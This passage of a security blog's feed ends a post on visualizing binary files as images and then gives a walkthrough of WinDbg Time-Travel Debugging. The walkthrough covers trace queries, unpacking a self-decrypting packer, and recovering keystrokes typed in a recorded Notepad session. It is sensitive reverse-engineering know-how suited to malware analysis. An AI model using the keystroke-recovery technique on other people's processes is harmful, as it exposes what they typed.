&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt; \&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;path&lt;&#x2F;span&gt;&lt;span&gt;\to\file\to\visualize.whatever &amp;gt;&amp;gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TEMPDIR&lt;&#x2F;span&gt;&lt;span&gt;%\visu.pgm
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Or on Linux&#x2F;OSX:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; (echo &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;P5 512 4096 255&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;;
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;path&#x2F;to&#x2F;file&#x2F;to&#x2F;visualize.whatever) &amp;gt; &#x2F;tmp&#x2F;visu.pgm
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then open the file with any image viewer like &lt;code&gt;feh&lt;&#x2F;code&gt; or &lt;code&gt;IrFanView&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;quick-visualization&amp;#x2F;evil.dll.pgm.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;quick-visualization&amp;#x2F;evil.dll.pgm.png&quot;

    

    
    title=&quot;evil.dll.pgm&quot;
    alt=&quot;evil.dll.pgm&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Some Time Travel musings</title>
        <published>2018-11-02T00:00:00+00:00</published>
        <updated>2018-11-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2018-11-02-some-time-travel-musings/"/>
        <id>https://blahcat.github.io/2018-11-02-some-time-travel-musings/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2018-11-02-some-time-travel-musings/">&lt;p&gt;If WinDbg was already setting the standard of what modern debuggers should be like, no doubt &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;debugger&#x2F;debugging-using-windbg-preview&quot;&gt;WinDbg Preview&lt;&#x2F;a&gt; brings it to a next level. The JavaScript API is not perfect yet but already very efficient, so we don’t have to rely on PyKd for proper (and portable) WinDbg scripting (I won’t even mention WDS). As a start, I could not recommend enough reading &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;0vercl0k&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@0vercl0k&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 if you haven’t already read it, which not only covers TTD but a lot more.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;time-travel-debugging&quot;&gt;Time-Travel Debugging&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;&#x2F;h2&gt;
&lt;p&gt;Since the feature got publicly available last year, there hasn’t been that much coverage on the topic and as I finally took some time to fiddle with it for various cases (from malware analysis to CTF) I figured I could contribute with a quick write-up.&lt;&#x2F;p&gt;
&lt;p&gt;As the name implies, Time-Travel Debugging is a tool that will allow to travel through the runtime of process that you create or attach to. It’ll monitor everything then store it a separate indexed database file, that can be fed to WinDbg Preview. The debugger will then have a Read-Only access on the execution, allowing to jump back and forth to desired points of the runtime. That’s already quite nice, but what makes it more powerful is the integration with the Data Model (via the &lt;code&gt;dx&lt;&#x2F;code&gt; command) and the JS API.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;time-travel-data-model&quot;&gt;Time Travel + Data Model&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;ttd-101-moving-around&quot;&gt;TTD 101: Moving around&lt;&#x2F;h3&gt;
&lt;p&gt;I was curious to see what could be done so I decided to record via WinDbg a simple Notepad session. TTD is as simple as it gets: start WinDbg (as Admin), and launch the target executable after checking the &lt;code&gt;Record process with Time Travel Debugging&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;windbg-ttd&amp;#x2F;startrecord.PNG&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;windbg-ttd&amp;#x2F;startrecord.PNG&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Typed some stuff and closed notepad. WinDbg starts by reading the trace and indexing the database, and breaks at the loader entry point. The indexes (look like &lt;code&gt;XX:YY&lt;&#x2F;code&gt; where &lt;code&gt;X&lt;&#x2F;code&gt; and &lt;code&gt;Y&lt;&#x2F;code&gt; are hex-digits) are like coordinates that can be used to travel around so we can move to an absolute position like&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; !tt 7213:36
&lt;&#x2F;span&gt;&lt;span&gt;Setting position: 7213:36
&lt;&#x2F;span&gt;&lt;span&gt;(12c4.1dcc): Break instruction exception - code 80000003 (first&#x2F;second chance not available)
&lt;&#x2F;span&gt;&lt;span&gt;Time Travel Position: 7213:36
&lt;&#x2F;span&gt;&lt;span&gt;KERNELBASE!VirtualAlloc:
&lt;&#x2F;span&gt;&lt;span&gt;00007ffe`15c433a0 4053            push    rbx
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It is also possible to simply step-over backwards (&lt;code&gt;p-&lt;&#x2F;code&gt;), step-into backwards (&lt;code&gt;t-&lt;&#x2F;code&gt;), or go backwards (&lt;code&gt;g-&lt;&#x2F;code&gt;) - one can notice that commands for backwards are the same as for forward, with a &lt;code&gt;-&lt;&#x2F;code&gt; suffixed to the command. All the other commands, like for breakpoints, or accessing memory&#x2F;registers work just the same.&lt;&#x2F;p&gt;
&lt;p&gt;That’s already quite fun, but WinDbg can go a lot further.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;enter-the-debugger-data-model&quot;&gt;Enter the Debugger Data Model…&lt;&#x2F;h3&gt;
&lt;p&gt;WinDbg can use LINQ to query the TTD database, to synthetize a lot more of runtime information in a very painless way. To do so, a new attribute &lt;code&gt;TTD&lt;&#x2F;code&gt; was added to the runtime variables &lt;code&gt;$curprocess&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx @$curprocess.TTD
&lt;&#x2F;span&gt;&lt;span&gt;@$curprocess.TTD
&lt;&#x2F;span&gt;&lt;span&gt;    Lifetime         : [2C:0, 2EB0F:0]
&lt;&#x2F;span&gt;&lt;span&gt;    Threads
&lt;&#x2F;span&gt;&lt;span&gt;    Events
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and &lt;code&gt;$cursession&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx @$cursession.TTD
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.TTD                 : [object Object]
&lt;&#x2F;span&gt;&lt;span&gt;    Calls            [Returns call information from the trace for the specified set of methods: TTD.Calls(&amp;quot;module!method1&amp;quot;, &amp;quot;module!method2&amp;quot;, ...) For example: dx @$cursession.TTD.Calls(&amp;quot;user32!SendMessageA&amp;quot;)]
&lt;&#x2F;span&gt;&lt;span&gt;    Memory           [Returns memory access information for specified address range: TTD.Memory(startAddress, endAddress [, &amp;quot;rwec&amp;quot;])]
&lt;&#x2F;span&gt;&lt;span&gt;    DefaultParameterCount : 0x4
&lt;&#x2F;span&gt;&lt;span&gt;    AsyncQueryEnabled : false
&lt;&#x2F;span&gt;&lt;span&gt;    Resources
&lt;&#x2F;span&gt;&lt;span&gt;    Data             : Normalized data sources based on the contents of the time travel trace
&lt;&#x2F;span&gt;&lt;span&gt;    Utility          : Methods that can be useful when analyzing time travel traces
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;You might want to enable DML too (by running the command &lt;code&gt;.prefer_dml 1&lt;&#x2F;code&gt;) if you want to click your way through those methods.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;Among some of the most interesting parts, we can now query function calls, like&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx @$cursession.TTD.Calls(&amp;quot;ntdll!mem*&amp;quot;).Count()
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.TTD.Calls(&amp;quot;ntdll!mem*&amp;quot;).Count() : 0x2ef8
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Will count the number of calls to function matching &lt;code&gt;ntdll!mem*&lt;&#x2F;code&gt; pattern, or even filter function calls per parameter&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx @$cursession.TTD.Calls(&amp;quot;Kernel*!VirtualAlloc*&amp;quot;).Where( c =&amp;gt; c.Parameters[3] == 0x40 ).Count()
&lt;&#x2F;span&gt;&lt;span&gt;$cursession.TTD.Calls(&amp;quot;Kernel*!VirtualAlloc*&amp;quot;).Where( c =&amp;gt; c.Parameters[3] == 0x40).Count() : 0x1
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which will filter the calls to function matching &lt;code&gt;Kernel*!VirtualAlloc*&lt;&#x2F;code&gt; pattern, where the 4th parameter is &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;&#x2F;code&gt; (0x40).&lt;&#x2F;p&gt;
&lt;p&gt;Another useful feature is the memory access, exposed by&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx $cursession.TTD
&lt;&#x2F;span&gt;&lt;span&gt;  [...]
&lt;&#x2F;span&gt;&lt;span&gt;  Memory       [Returns memory access information for specified address range: TTD.Memory(startAddress, endAddress [, &amp;quot;rwec&amp;quot;])]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To take the real life example of a self-decrypting packer, that would allocate some memory (likely in RWX), then decrypt the code and finally jump to it. If we were to reverse such packer, we don’t care much about how the payload is decrypted (could be a simple XOR, could be AES, could be custom crypto, etc.), what we only care about is what the code looks like once decrypted. And that becomes stupidly easy with TTD + DDM:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;&#x2F;&#x2F; Isolate the address(es) newly allocated as RWX
&lt;&#x2F;span&gt;&lt;span&gt;0:000&amp;gt; dx @$cursession.TTD.Calls(&amp;quot;Kernel*!VirtualAlloc*&amp;quot;).Where( f =&amp;gt; f.Parameters[3] == 0x40 ).Select( f =&amp;gt; new {Address : f.ReturnValue } )
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&#x2F; Time-Travel to when the 1st byte is executed
&lt;&#x2F;span&gt;&lt;span&gt;0:000&amp;gt; dx @$cursession.TTD.Memory(0xAddressFromAbove, 0xAddressFromAbove+1, &amp;quot;e&amp;quot;)[0].TimeStart.SeekTo()​
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Done! Then you can &lt;code&gt;.writemem&lt;&#x2F;code&gt; that code into a file that IDA can disassemble.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Update (11&#x2F;11&#x2F;2018)&lt;&#x2F;em&gt; :&lt;&#x2F;p&gt;
&lt;p&gt;And since all this goodness can be used from JavaScript (via the &lt;code&gt;host.namespace.Debugger&lt;&#x2F;code&gt; namespace), it’s really not far to write scripts for automatically dump such payloads, track heap allocations, enumerate all files created etc. And it came to me a surprise (not really actually, &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;0vercl0k&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@0vercl0k&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 just told me), that when using the &lt;code&gt;ttd.exe&lt;&#x2F;code&gt; binary as a standalone, one can pass the &lt;code&gt;-children&lt;&#x2F;code&gt; flag allowing TTD to also record children processes.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-partner=&quot;tweetdeck&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;The Time-Travel Debugging tool from &lt;a href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;hashtag&#x2F;WinDbg?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#WinDbg&lt;&#x2F;a&gt; Preview can be used as a standalone binary (ttd.exe)&lt;br&gt;&lt;br&gt;Copy the TTD\ directory and you can use TTD without &lt;a href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;hashtag&#x2F;WinDbg?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#WinDbg&lt;&#x2F;a&gt;, allowing you to script your &lt;a href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;hashtag&#x2F;TTD?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#TTD&lt;&#x2F;a&gt; recording useful for:&lt;br&gt;- &lt;a href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;hashtag&#x2F;fuzzing?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#fuzzing&lt;&#x2F;a&gt; crash replay&lt;br&gt;- &lt;a href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;hashtag&#x2F;malware?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#malware&lt;&#x2F;a&gt; analysis&lt;br&gt;- bug tracking &lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;posts&#x2F;2018&#x2F;11&#x2F;02&#x2F;some-time-travel-musings.html&quot;&gt;pic.twitter.com&#x2F;yYZrkNRmD1&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;&amp;mdash; windbgtips (@windbgtips) &lt;a href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;windbgtips&#x2F;status&#x2F;1061684978612789248?ref_src=twsrc%5Etfw&quot;&gt;November 11, 2018&lt;&#x2F;a&gt;&lt;&#x2F;blockquote&gt;
&lt;script async src=&quot;https:&#x2F;&#x2F;platform.twitter.com&#x2F;widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;&#x2F;script&gt;
&lt;h3 id=&quot;nothing-is-forgotten&quot;&gt;Nothing is forgotten&lt;&#x2F;h3&gt;
&lt;p&gt;Back to the notepad session. Even though no file was saved to disk, I did type some stuff on the keyboard, so I figured that they must have been recorded somewhere by TTD. Let’s hunt them down!&lt;&#x2F;p&gt;
&lt;p&gt;Notepad uses Windows’ Messaging mechanism so that when a key is stroke, an event is passed down to notepad (or any other app fwiw) who decides whether to pick it up or not (the Windows Message internals is not the focus of this post but &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.winprog.org&#x2F;tutorial&#x2F;message_loop.html&quot;&gt;this is a pretty good introduction&lt;&#x2F;a&gt;), to know whether the canvas must be redrawn, the window close, etc. This messaging system being articulated around fetching messages (via &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;desktop&#x2F;api&#x2F;winuser&#x2F;nf-winuser-getmessage&quot;&gt;&lt;code&gt;user32!GetMessage&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;) and pushing them (via &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;desktop&#x2F;api&#x2F;winuser&#x2F;nf-winuser-sendmessage&quot;&gt;&lt;code&gt;user32!SendMessage&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;). The &lt;code&gt;GetMessage()&lt;&#x2F;code&gt; function prototype is :&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;BOOL &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;GetMessage&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;  LPMSG &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;lpMsg&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  HWND  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hWnd&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  UINT  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;wMsgFilterMin&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  UINT  wMsgFilterMax
&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It is easily possible to filter those calls as mentioned earlier:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx @$cursession.TTD.Calls(&amp;quot;user32!GetMessage*&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;@$cursession.TTD.Calls(&amp;quot;user32!GetMessage*&amp;quot;).Count() : 0x1e8
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;One way I found to narrow so many calls down is to see is to focus rather on the message itself, which is Parameters[0] of the function call:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;windbg-ttd&amp;#x2F;notepad1.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;windbg-ttd&amp;#x2F;notepad1.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;It seems that the message is always stored at 0xa30fb6fc00, and has the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;api&#x2F;winuser&#x2F;ns-winuser-msg&quot;&gt;following structure&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;typedef struct&lt;&#x2F;span&gt;&lt;span&gt; tagMSG {
&lt;&#x2F;span&gt;&lt;span&gt;  HWND   hwnd;
&lt;&#x2F;span&gt;&lt;span&gt;  UINT   message;
&lt;&#x2F;span&gt;&lt;span&gt;  WPARAM wParam;
&lt;&#x2F;span&gt;&lt;span&gt;  LPARAM lParam;
&lt;&#x2F;span&gt;&lt;span&gt;  DWORD  time;
&lt;&#x2F;span&gt;&lt;span&gt;  POINT  pt;
&lt;&#x2F;span&gt;&lt;span&gt;  DWORD  lPrivate;
&lt;&#x2F;span&gt;&lt;span&gt;} MSG, *PMSG, *NPMSG, *LPMSG;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can now monitor all the memory accesses to the address 0xa30fb6fc00&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx -r1 -nv (*((wintypes!MSG *)0xa30fb6fc00))
&lt;&#x2F;span&gt;&lt;span&gt;(*((wintypes!MSG *)0xa30fb6fc00))                 : {msg=0x102 wp=0x74 lp=0x140001} [Type: MSG]
&lt;&#x2F;span&gt;&lt;span&gt;    [+0x000] hwnd             : 0x12044a [Type: HWND__ *]
&lt;&#x2F;span&gt;&lt;span&gt;    [+0x008] message          : 0x102 [Type: unsigned int]
&lt;&#x2F;span&gt;&lt;span&gt;    [+0x010] wParam           : 0x74 [Type: unsigned __int64]
&lt;&#x2F;span&gt;&lt;span&gt;    [+0x018] lParam           : 1310721 [Type: __int64]
&lt;&#x2F;span&gt;&lt;span&gt;    [+0x020] time             : 0x0 [Type: unsigned long]
&lt;&#x2F;span&gt;&lt;span&gt;    [+0x024] pt               [Type: tagPOINT]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;MSG.wParam&lt;&#x2F;code&gt; in particular will hold the value of the keycode when the key is stroke, so we can also narrow it to ASCII characters&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx -g @$cursession.TTD.Memory(0xa30fb6fc10, 0xa30fb6fc10+8, &amp;quot;w&amp;quot;).Where(m =&amp;gt; m.Value &amp;gt;= 0x20 &amp;amp;&amp;amp; m.Value &amp;lt; 0x80)
&lt;&#x2F;span&gt;&lt;span&gt;===============================================================================================================================================================================
&lt;&#x2F;span&gt;&lt;span&gt;=           = (+) EventType   = (+) ThreadId = (+) UniqueThreadId = (+) TimeStart = (+) TimeEnd = (+) AccessType = (+) IP            = (+) Address     = (+) Size = (+) Value =
&lt;&#x2F;span&gt;&lt;span&gt;===============================================================================================================================================================================
&lt;&#x2F;span&gt;&lt;span&gt;= [0x5e]    - MemoryAccess    - 0x1dcc       - 0x2                - A04C:6A       - A04C:6A     - Write          - 0x7ffe169066ae    - 0xa30fb6fc10    - 0x8      - 0x54      =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x5f]    - MemoryAccess    - 0x1dcc       - 0x2                - A050:7        - A050:7      - Write          - 0x7ffe16911b4f    - 0xa30fb6fc10    - 0x8      - 0x74      =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x60]    - MemoryAccess    - 0x1dcc       - 0x2                - A695:6A       - A695:6A     - Write          - 0x7ffe169066ae    - 0xa30fb6fc10    - 0x8      - 0x74      =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x61]    - MemoryAccess    - 0x1dcc       - 0x2                - A70E:6A       - A70E:6A     - Write          - 0x7ffe169066ae    - 0xa30fb6fc10    - 0x8      - 0x48      =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x64]    - MemoryAccess    - 0x1dcc       - 0x2                - A72D:7        - A72D:7      - Write          - 0x7ffe16911b4f    - 0xa30fb6fc10    - 0x8      - 0x68      =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x65]    - MemoryAccess    - 0x1dcc       - 0x2                - ABE3:6A       - ABE3:6A     - Write          - 0x7ffe169066ae    - 0xa30fb6fc10    - 0x8      - 0x68      =
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That’s a lot more interesting so we use LINQ even further to print the characters directly by casting the Value to &lt;code&gt;char&lt;&#x2F;code&gt; and we get&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; dx -g @$cursession.TTD.Memory(0xa30fb6fc10, 0xa30fb6fc10+8, &amp;quot;w&amp;quot;).Where(m =&amp;gt; m.Value &amp;gt;= 0x20 &amp;amp;&amp;amp; m.Value &amp;lt; 0x80).Select( c =&amp;gt; (char)c.Value )
&lt;&#x2F;span&gt;&lt;span&gt;====================
&lt;&#x2F;span&gt;&lt;span&gt;=                  =
&lt;&#x2F;span&gt;&lt;span&gt;====================
&lt;&#x2F;span&gt;&lt;span&gt;= [0x5e] : 84 &amp;#39;T&amp;#39;  =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x5f] : 116 &amp;#39;t&amp;#39; =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x60] : 116 &amp;#39;t&amp;#39; =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x61] : 72 &amp;#39;H&amp;#39;  =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x64] : 104 &amp;#39;h&amp;#39; =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x65] : 104 &amp;#39;h&amp;#39; =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x66] : 84 &amp;#39;T&amp;#39;  =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x67] : 73 &amp;#39;I&amp;#39;  =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x68] : 105 &amp;#39;i&amp;#39; =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x69] : 105 &amp;#39;i&amp;#39; =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x6a] : 72 &amp;#39;H&amp;#39;  =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x6d] : 83 &amp;#39;S&amp;#39;  =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x6e] : 115 &amp;#39;s&amp;#39; =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x6f] : 115 &amp;#39;s&amp;#39; =
&lt;&#x2F;span&gt;&lt;span&gt;= [0x70] : 73 &amp;#39;I&amp;#39;  =
